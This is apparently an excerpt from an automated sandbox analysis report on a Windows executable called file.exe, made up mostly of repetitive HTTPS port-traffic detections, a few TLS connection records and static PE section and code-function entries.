Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49672
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49763 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C7662C0 PR_dtoa,PR_GetCurrentThread,strlen,NtFlushVirtualMemory,PR_GetCurrentThread,memcpy,memcpy,

0_2_6C7662C0

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EAC60	0_2_6C5EAC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BAC30	0_2_6C6BAC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A6C00	0_2_6C6A6C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DECC0	0_2_6C5DECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63ECD0	0_2_6C63ECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AED70	0_2_6C6AED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70AD50	0_2_6C70AD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C768D20	0_2_6C768D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76CDC0	0_2_6C76CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E4DB0	0_2_6C5E4DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C676D90	0_2_6C676D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67EE70	0_2_6C67EE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C0E20	0_2_6C6C0E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EAEC0	0_2_6C5EAEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C680EC0	0_2_6C680EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C666E90	0_2_6C666E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A2F70	0_2_6C6A2F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64EF40	0_2_6C64EF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E6F10	0_2_6C5E6F10
